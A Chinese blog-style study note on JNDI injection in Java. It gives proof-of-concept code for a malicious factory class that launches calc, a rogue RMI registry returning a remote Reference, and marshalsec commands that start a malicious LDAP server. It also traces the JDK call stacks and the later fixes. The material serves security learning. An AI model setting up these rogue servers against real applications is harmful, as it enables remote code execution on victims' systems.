JNDI注入学习

通常 JNDI 注入攻击的都是 lookup 方法的执行者,一般步骤如下:

  1. 目标机器中调用了 InitialContext.lookup(URL),且 URL 为用户可控
  2. 攻击者控制这个 URL 为一个恶意的 RMI 服务地址:rmi://hack:port/name
  3. 恶意 RMI 服务会返回一个含有恶意 factory 的 Reference 对象
  4. 目标获取到 Reference 之后会动态加载 factory
  5. 攻击者可以在恶意 factory 的静态代码块、构造方法写入恶意代码,在目标实例化 factory 的时候被 RCE

可以通过 RMI 方式和 LDAP 方式来达到攻击效果。

RMI 方式(8u121 ↓)

利用

把一个恶意的 factory 类编译成字节码,用 http 服务托管:

public class Calc {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
> javac Calc.java
> python3 -m http.server 9999

然后起恶意的 RMI 服务端:

public class EvilRmiServer {
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.createRegistry(1099);
        Reference reference = new Reference("Calc", "Calc", "http://localhost:9999/");
        ReferenceWrapper calc = new ReferenceWrapper(reference);
        registry.bind("calc", calc);
    }
}

如果客户端 lookup 方法参数可控,则会被 RCE:

简单分析

getObjectInstance:319, NamingManager (javax.naming.spi)
decodeObject:464, RegistryContext (com.sun.jndi.rmi.registry)
lookup:124, RegistryContext (com.sun.jndi.rmi.registry)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:417, InitialContext (javax.naming)

前面几个步骤是解析 url 获取上下文信息(略),从 RegistryContext#lookup 方法开始看:

这里的 this.registry 仍然是 RegistryImpl_Stub,执行lookup方法获取到的是一个 ReferenceWrapper_Stub 对象,在 RegistryContext#decodeObject 方法中会根据这个 ReferenceWrapper_Stub 对象获取 Reference 对象:

先跟进 ReferenceWrapper_Stub#getReference 方法:

在这个方法里调用的是 UnicastRef#invoke 方法,相当于进行了一次远程方法调用(见 RMI 中的 "Client 发送请求"),而调用的方法为:

正好对应着 RMI 服务端中的 ReferenceWrapper#getReference 方法(ReferenceWrapper 实现了 RemoteReference 接口):

于是这次远程方法调用的结果就是返回了远程 ReferenceWrpper 包装的 Reference 对象:

接着往下跟 RegistryContext#decodeObject,来到 NamingManager#getObjectInstance 方法:

通过 NamingManager#getObjectFactoryFromReference 方法获取 factory 实例,跟进该方法:

如果本地加载失败,会从 codebase 处加载 factory,跟进这个 loadClass 方法:

这里通过 URLClassLoader 加载 factory,然后执行了恶意代码。

修复

在 8u113 (8u121)? 之后 RMI 利用方式的默认不再信任 codebase,RegistryContext#<static>

RegistryContext#decodeObject

LDAP 方式(8u191 ↓)

利用

使用 marshalsec 可以快速起一个恶意的 LDAP 服务端:

> java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.(LDAP|RMI)RefServer <codebase>#<class> [<port>]

恶意 factory 同上,客户端以 ldap 方式 lookup:

> javac Calc.java
> python3 -m http.server 9999
> java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://localhost:9999/#Calc 8888

简单分析

getObjectFactoryFromReference:142, NamingManager (javax.naming.spi)
getObjectInstance:189, DirectoryManager (javax.naming.spi)
c_lookup:1085, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)

最后仍然是调用了 NamingManager#getObjectFactoryFromReference 方法。

修复

VersionHelper12 类中:

VersionHelper12#loadClass

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值